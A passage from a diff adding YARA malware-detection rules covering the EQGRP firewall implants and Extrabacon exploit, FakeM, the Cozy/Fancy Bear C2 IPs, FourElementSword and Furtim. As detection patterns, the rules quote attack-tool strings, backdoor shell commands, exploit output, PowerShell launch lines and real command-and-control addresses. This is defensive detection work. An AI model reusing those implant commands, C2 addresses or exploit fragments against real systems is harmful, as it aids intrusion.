+		hash7 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$s1 = "LP.c:pixSecurity - Improper number of bytes read in Security/Interface Information" fullword ascii
+		$s2 = "LP.c:pixSecurity - Not in Session" fullword ascii
+		$s3 = "getModInterface__preloadedModules" fullword ascii
+		$s4 = "showCommands" fullword ascii
+		$s5 = "readModuleInterface" fullword ascii
+		$s6 = "Wrapping_Not_Necessary_Or_Wrapping_Ok" fullword ascii
+		$s7 = "Get_CMD_List" fullword ascii
+		$s8 = "LP_Listen2" fullword ascii
+		$s9 = "killCmdList" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and all of them )
+}
+
+rule EQGRP_Implants_Gen5 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BARPUNCH-3110, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$x1 = "Module and Implant versions do not match.  This module is not compatible with the target implant" fullword ascii
+
+		$s1 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.log" fullword ascii
+		$s2 = "%s/BF_%04d%02d%02d.log" fullword ascii
+		$s3 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.bin" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and 1 of ($x*) ) or ( all of them )
+}
+
+rule EQGRP_pandarock {
+	meta:
+		description = "EQGRP Toolset Firewall - from files pandarock_v1.11.1.1.bin, pit"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "1214e282ac7258e616ebd76f912d4b2455d1b415b7216823caa3fc0d09045a5f"
+		hash2 = "c8a151df7605cb48feb8be2ab43ec965b561d2b6e2a837d645fdf6a6191ab5fe"
+	strings:
+		$x1 = "* Not attempting to execute \"%s\" command" fullword ascii
+		$x2 = "TERMINATING SCRIPT (command error or \"quit\" encountered)" fullword ascii
+		$x3 = "execute code in <file> passing <argX> (HEX)" fullword ascii
+		$x4 = "* Use arrow keys to scroll through command history" fullword ascii
+
+		$s1 = "pitCmd_processCmdLine" fullword ascii
+		$s2 = "execute all commands in <file>" fullword ascii
+		$s3 = "__processShellCmd" fullword ascii
+		$s4 = "pitTarget_getDstPort" fullword ascii
+		$s5 = "__processSetTargetIp" fullword ascii
+
+		$o1 = "Logging commands and output - ON" fullword ascii
+		$o2 = "This command is too dangerous.  If you'd like to run it, contact the development team" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 1 of ($x*) ) or ( 4 of them ) or 1 of ($o*)
+}
+
+rule EQGRP_BananaUsurper_writeJetPlow {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$x1 = "Implant Version-Specific Values:" fullword ascii
+		$x2 = "This function should not be used with a Netscreen, something has gone horribly wrong" fullword ascii
+
+		$s1 = "createSendRecv: recv'd an error from the target." fullword ascii
+		$s2 = "Error: WatchDogTimeout read returned %d instead of 4" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 2000KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule EQGRP_Implants_Gen4 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash3 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash4 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+	strings:
+		$s1 = "Command has not yet been coded" fullword ascii
+		$s2 = "Beacon Domain  : www.%s.com" fullword ascii
+		$s3 = "This command can only be run on a PIX/ASA" fullword ascii
+		$s4 = "Warning! Bad or missing Flash values (in section 2 of .dat file)" fullword ascii
+		$s5 = "Printing the interface info and security levels. PIX ONLY." fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 3 of them ) or ( all of them )
+}
+
+rule EQGRP_Implants_Gen3 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+	strings:
+		$x1 = "incomplete and must be removed manually.)" fullword ascii
+
+		$s1 = "%s: recv'd an error from the target." fullword ascii
+		$s2 = "Unable to fetch the address to the get_uptime_secs function for this OS version" fullword ascii
+		$s3 = "upload/activate/de-activate/remove/cmd function failed" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and 2 of them ) or ( all of them )
+}
+
+rule EQGRP_BLIAR_BLIQUER {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+	strings:
+		$x1 = "Do you wish to activate the implant that is already on the firewall? (y/n): " fullword ascii
+		$x2 = "There is no implant present on the firewall." fullword ascii
+		$x3 = "Implant Version :%lx%lx%lx" fullword ascii
+		$x4 = "You may now connect to the implant using the pbd idkey" fullword ascii
+		$x5 = "No reply from persistant back door." fullword ascii
+		$x6 = "rm -rf pbd.wc; wc -c %s > pbd.wc" fullword ascii
+
+		$p1 = "PBD_GetVersion" fullword ascii
+		$p2 = "pbd/pbdEncrypt.bin" fullword ascii
+		$p3 = "pbd/pbdGetVersion.pkt" fullword ascii
+		$p4 = "pbd/pbdStartWrite.bin" fullword ascii
+		$p5 = "pbd/pbd_setNewHookPt.pkt" fullword ascii
+		$p6 = "pbd/pbd_Upload_SinglePkt.pkt" fullword ascii
+
+		$s1 = "Unable to fetch hook and jmp addresses for this OS version" fullword ascii
+		$s2 = "Could not get hook and jump addresses" fullword ascii
+		$s3 = "Enter the name of a clean implant binary (NOT an image):" fullword ascii
+		$s4 = "Unable to read dat file for OS version 0x%08lx" fullword ascii
+		$s5 = "Invalid implant file" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and ( 1 of ($x*) or 1 of ($p*) ) ) or ( 3 of them )
+}
+
+rule EQGRP_sploit {
+	meta:
+		description = "EQGRP Toolset Firewall - from files sploit.py, sploit.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		hash2 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+	strings:
+		$s1 = "print \"[+] Connecting to %s:%s\" % (self.params.dst['ip'], self.params.dst['port'])" fullword ascii
+		$s2 = "@overridable(\"Must be overriden if the target will be touched.  Base implementation should not be called.\")" fullword ascii
+		$s3 = "@overridable(\"Must be overriden.  Base implementation should not be called.\")" fullword ascii
+		$s4 = "exp.load_vinfo()" fullword ascii
+		$s5 = "if not okay and self.terminateFlingOnException:" fullword ascii
+		$s6 = "print \"[-] keyboard interrupt before response received\"" fullword ascii
+		$s7 = "if self.terminateFlingOnException:" fullword ascii
+		$s8 = "print 'Debug info ','='*40" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 90KB and 1 of ($s*) ) or ( 4 of them )
+}
+
+rule EQGRP_Implants_Gen2 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$x1 = "Modules persistence file written successfully" fullword ascii
+		$x2 = "Modules persistence data successfully removed" fullword ascii
+		$x3 = "No Modules are active on the firewall, nothing to persist" fullword ascii
+
+		$s1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s " fullword ascii
+		$s2 = "Error while attemping to persist modules:" fullword ascii
+		$s3 = "Error while reading interface info from PIX" fullword ascii
+		$s4 = "LP.c:pixFree - Failed to get response" fullword ascii
+		$s5 = "WARNING: LP Timeout specified (%lu seconds) less than default (%u seconds).  Setting default" fullword ascii
+		$s6 = "Unable to fetch config address for this OS version" fullword ascii
+		$s7 = "LP.c: interface information not available for this session" fullword ascii
+		$s8 = "[%s:%s:%d] ERROR: " fullword ascii
+		$s9 = "extract_fgbg" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 1 of ($x*) ) or ( 5 of them )
+}
+
+rule EQGRP_Implants_Gen1 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BARPUNCH-3110, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100, lpexe, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "ee3e3487a9582181892e27b4078c5a3cb47bb31fc607634468cc67753f7e61d7"
+		hash9 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$s1 = "WARNING:  Session may not have been closed!" fullword ascii
+		$s2 = "EXEC Packet Processed" fullword ascii
+		$s3 = "Failed to insert the command into command list." fullword ascii
+		$s4 = "Send_Packet: Trying to send too much data." fullword ascii
+		$s5 = "payloadLength >= MAX_ALLOW_SIZE." fullword ascii
+		$s6 = "Wrong Payload Size" fullword ascii
+		$s7 = "Unknown packet received......" fullword ascii
+		$s8 = "Returned eax = %08x" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and ( 2 of ($s*) ) ) or ( 5 of them )
+}
+
+rule EQGRP_eligiblebombshell_generic {
+	meta:
+		description = "EQGRP Toolset Firewall - from files eligiblebombshell_1.2.0.1.py, eligiblebombshell_1.2.0.1.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+		hash2 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+	strings:
+		$s1 = "logging.error(\"       Perhaps you should run with --scan?\")" fullword ascii
+		$s2 = "logging.error(\"ERROR: No entry for ETag [%s] in %s.\" %" fullword ascii
+		$s3 = "\"be supplied\")" fullword ascii
+	condition:
+		( filesize < 70KB and 2 of ($s*) ) or ( all of them )
+}
+
+rule EQGRP_ssh_telnet_29 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files ssh.py, telnet.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "630d464b1d08c4dfd0bd50552bee2d6a591fb0b5597ecebaa556a3c3d4e0aa4e"
+		hash2 = "07f4c60505f4d5fb5c4a76a8c899d9b63291444a3980d94c06e1d5889ae85482"
+	strings:
+		$s1 = "received prompt, we're in" fullword ascii
+		$s2 = "failed to login, bad creds, abort" fullword ascii
+		$s3 = "sending command \" + str(n) + \"/\" + str(tot) + \", len \" + str(len(chunk) + " fullword ascii
+		$s4 = "received nat - EPBA: ok, payload: mangled, did not run" fullword ascii
+		$s5 = "no status returned from target, could be an exploit failure, or this is a version where we don't expect a stus return" ascii
+		$s6 = "received arp - EPBA: ok, payload: fail" fullword ascii
+		$s7 = "chopped = string.rstrip(payload, \"\\x0a\")" fullword ascii
+	condition:
+		( filesize < 10KB and 2 of them ) or ( 3 of them )
+}
+
+/* Extras */
+
+rule EQGRP_tinyexec {
+	meta:
+		description = "EQGRP Toolset Firewall - from files tinyexec"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = { 73 68 73 74 72 74 61 62 00 2E 74 65 78 74 }
+		$s2 = { 5A 58 55 52 89 E2 55 50 89 E1 }
+	condition:
+		uint32(0) == 0x464c457f and filesize < 270 and all of them
+}
+
+rule EQGRP_callbacks {
+	meta:
+		description = "EQGRP Toolset Firewall - Callback addresses"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = "30.40.50.60:9342" fullword ascii wide /* DoD */
+	condition:
+		1 of them
+}
+
+rule EQGRP_Extrabacon_Output {
+	meta:
+		description = "EQGRP Toolset Firewall - Extrabacon exploit output"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = "|###[ SNMPresponse ]###" fullword ascii
+		$s2 = "[+] generating exploit for exec mode pass-disable" fullword ascii
+		$s3 = "[+] building payload for mode pass-disable" fullword ascii
+		$s4 = "[+] Executing:  extrabacon" fullword ascii
+		$s5 = "appended AAAADMINAUTH_ENABLE payload" fullword ascii
+	condition:
+		2 of them
+}
+
+rule EQGRP_Unique_Strings {
+	meta:
+		description = "EQGRP Toolset Firewall - Unique strings"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = "/BananaGlee/ELIGIBLEBOMB" ascii
+		$s2 = "Protocol must be either http or https (Ex: https://1.2.3.4:1234)"
+	condition:
+		1 of them
+}
+
+rule EQGRP_RC5_RC6_Opcode {
+	meta:
+		description = "EQGRP Toolset Firewall - RC5 / RC6 opcode"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/incidents/75812/the-equation-giveaway/"
+		date = "2016-08-17"
+	strings:
+		/*
+			mov     esi, [ecx+edx*4-4]
+			sub     esi, 61C88647h
+			mov     [ecx+edx*4], esi
+			inc     edx
+			cmp     edx, 2Bh
+		*/
+		$s1 = { 8B 74 91 FC 81 EE 47 86 C8 61 89 34 91 42 83 FA 2B }
+	condition:
+		1 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-25
+	Identifier: FakeM
+*/
+
+rule FakeM_Generic {
+	meta:
+		description = "Detects FakeM malware samples"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
+		date = "2016-01-25"
+		score = 85
+		hash1 = "631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3"
+		hash2 = "3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520"
+		hash3 = "53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60"
+		hash4 = "4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3"
+		hash5 = "7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8"
+		hash6 = "12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d"
+		hash7 = "9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5"
+		hash8 = "3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90"
+		hash9 = "41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33"
+		hash10 = "53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e"
+		hash11 = "523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b"
+	strings:
+		$a1 = "\\system32\\kernel32.dll" fullword ascii
+		$a2 = "\\boot.lnk" fullword ascii
+		$a3 = "%USERPROFILE%" fullword ascii /* Goodware String - occured 16 times */
+
+		$b1 = "Wizard.EXE" fullword wide
+		$b2 = "CommandLineA" fullword ascii
+
+		$c1 = "\\system32\\kernel32.dll" fullword ascii
+		$c2 = "\\aapz.tmp" fullword ascii
+
+		$e1 = "C:\\Documents and Settings\\A\\" fullword ascii
+		$e2 = "\\svchost.exe" fullword ascii
+		$e3 = "\\Perform\\Release\\Perform.pdb" fullword ascii
+
+		$f1 = "Browser.EXE" fullword wide
+		$f2 = "\\browser.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and
+		( all of ($a*) or all of ($b*) or all of ($c*) or all of ($e*) or 1 of ($f*) )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-14
+	Identifier: Fancy Bear and Cozy Bear Report - CrowdStrike
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule COZY_FANCY_BEAR_Hunt {
+	meta:
+		description = "Detects Cozy Bear / Fancy Bear C2 Server IPs"
+		author = "Florian Roth"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+	strings:
+		$s1 = "185.100.84.134" ascii wide fullword
+		$s2 = "58.49.58.58" ascii wide fullword
+		$s3 = "218.1.98.203" ascii wide fullword
+		$s4 = "187.33.33.8" ascii wide fullword
+		$s5 = "185.86.148.227" ascii wide fullword
+		$s6 = "45.32.129.185" ascii wide fullword
+		$s7 = "23.227.196.217" ascii wide fullword
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
+
+rule COZY_FANCY_BEAR_pagemgr_Hunt {
+	meta:
+		description = "Detects a pagemgr.exe as mentioned in the CrowdStrike report"
+		author = "Florian Roth"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+	strings:
+		$s1 = "pagemgr.exe" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
+
+rule COZY_FANCY_BEAR_modified_VmUpgradeHelper {
+	meta:
+		description = "Detects a malicious VmUpgradeHelper.exe as mentioned in the CrowdStrike report"
+		author = "Florian Roth"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+	strings:
+		$s1 = "VMware, Inc." wide fullword
+		$s2 = "Virtual hardware upgrade helper service" fullword wide
+		$s3 = "vmUpgradeHelper\\vmUpgradeHelper.pdb" ascii
+	condition:
+		uint16(0) == 0x5a4d and
+		filename == "VmUpgradeHelper.exe" and
+		not all of ($s*)
+}
+
+rule Fidelis_Advisory_Purchase_Order_pps {
+    meta:
+        description = "Detects a string found in a malicious document named Purchase_Order.pps"
+        author = "Florian Roth"
+        reference = "http://goo.gl/ZjJyti"
+        date = "2015-06-09"
+    strings:
+        $s0 = "Users\\Gozie\\Desktop\\Purchase-Order.gif" ascii
+    condition:
+        all of them
+}
+
+rule Fidelis_Advisory_cedt370 {
+    meta:
+        description = "Detects a string found in memory of malware cedt370r(3).exe"
+        author = "Florian Roth"
+        reference = "http://goo.gl/ZjJyti"
+        date = "2015-06-09"
+    strings:
+        $s0 = "PO.exe" ascii fullword
+        $s1 = "Important.exe" ascii fullword
+        $s2 = "&username=" ascii fullword
+        $s3 = "Browsers.txt" ascii fullword
+    condition:
+        all of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-18
+	Identifier: FourElementSword
+	Reference: https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FourElementSword_Config_File {
+	meta:
+		description = "Detects FourElementSword Malware - file f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
+	strings:
+		$s0 = "01,,hccutils.dll,2" fullword ascii
+		$s1 = "RegisterDlls=OurDll" fullword ascii
+		$s2 = "[OurDll]" fullword ascii
+		$s3 = "[DefaultInstall]" fullword ascii /* Goodware String - occured 16 times */
+		$s4 = "Signature=\"$Windows NT$\"" fullword ascii /* Goodware String - occured 26 times */
+	condition:
+		4 of them
+}
+
+rule FourElementSword_T9000 {
+	meta:
+		description = "Detects FourElementSword Malware - file 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+	strings:
+		$x1 = "D:\\WORK\\T9000\\" ascii
+		$x2 = "%s\\temp\\HHHH.dat" fullword wide
+
+		$s1 = "Elevate.dll" fullword wide
+		$s2 = "ResN32.dll" fullword wide
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword wide
+		$s4 = "igfxtray.exe" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) ) or ( all of them )
+}
+
+rule FourElementSword_32DLL {
+	meta:
+		description = "Detects FourElementSword Malware - file 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
+	strings:
+		$x1 = "%temp%\\tmp092.tmp" fullword ascii
+
+		$s1 = "\\System32\\ctfmon.exe" fullword ascii
+		$s2 = "%SystemRoot%\\System32\\" fullword ascii
+		$s3 = "32.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 660KB and $x1 ) or ( all of them )
+}
+
+rule FourElementSword_Keyainst_EXE {
+	meta:
+		description = "Detects FourElementSword Malware - file cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
+	strings:
+		$x1 = "C:\\ProgramData\\Keyainst.exe" fullword ascii
+
+		$s1 = "ShellExecuteA" fullword ascii /* Goodware String - occured 266 times */
+		$s2 = "GetStartupInfoA" fullword ascii /* Goodware String - occured 2573 times */
+		$s3 = "SHELL32.dll" fullword ascii /* Goodware String - occured 3233 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 48KB and $x1 ) or ( all of them )
+}
+
+rule FourElementSword_ElevateDLL_2 {
+	meta:
+		description = "Detects FourElementSword Malware - file 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
+	strings:
+		$s1 = "Elevate.dll" fullword ascii
+		$s2 = "GetSomeF" fullword ascii
+		$s3 = "GetNativeSystemInfo" fullword ascii /* Goodware String - occured 530 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 25KB and $s1 ) or ( all of them )
+}
+
+rule FourElementSword_fslapi_dll_gui {
+	meta:
+		description = "Detects FourElementSword Malware - file 2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+	strings:
+		$s1 = "fslapi.dll.gui" fullword wide
+		$s2 = "ImmGetDefaultIMEWnd" fullword ascii /* Goodware String - occured 64 times */
+		$s3 = "RichOX" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 12KB and all of them )
+}
+
+rule FourElementSword_PowerShell_Start {
+	meta:
+		description = "Detects FourElementSword Malware - file 9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
+	strings:
+		$s0 = "start /min powershell C:\\\\ProgramData\\\\wget.exe" ascii
+		$s1 = "start /min powershell C:\\\\ProgramData\\\\iuso.exe" fullword ascii
+	condition:
+		1 of them
+}
+
+rule FourElementSword_ResN32DLL {
+	meta:
+		description = "Detects FourElementSword Malware - file bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
+	strings:
+		$s1 = "\\Release\\BypassUAC.pdb" ascii
+		$s2 = "\\ResN32.dll" fullword wide
+		$s3 = "Eupdate" fullword wide
+	condition:
+		all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule FourElementSword_ElevateDLL {
+	meta:
+		description = "Detects FourElementSword Malware - from files 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9, 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		super_rule = 1
+		hash1 = "3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9"
+		hash2 = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+	strings:
+		$x1 = "Elevate.dll" fullword wide
+		$x2 = "ResN32.dll" fullword wide
+
+		$s1 = "Kingsoft\\Antivirus" fullword wide
+		$s2 = "KasperskyLab\\protected" fullword wide
+		$s3 = "Sophos" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) and all of ($s*) )
+		or ( all of them )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-15
+	Identifier: Furtim Malware
+*/
+
+rule Furtim_nativeDLL {
+	meta:
+		description = "Detects Furtim malware - file native.dll"
+		author = "Florian Roth"
+		reference = "MISP 3971"
+		date = "2016-06-13"
+		hash1 = "4f39d3e70ed1278d5fa83ed9f148ca92383ec662ac34635f7e56cc42eeaee948"
+	strings:
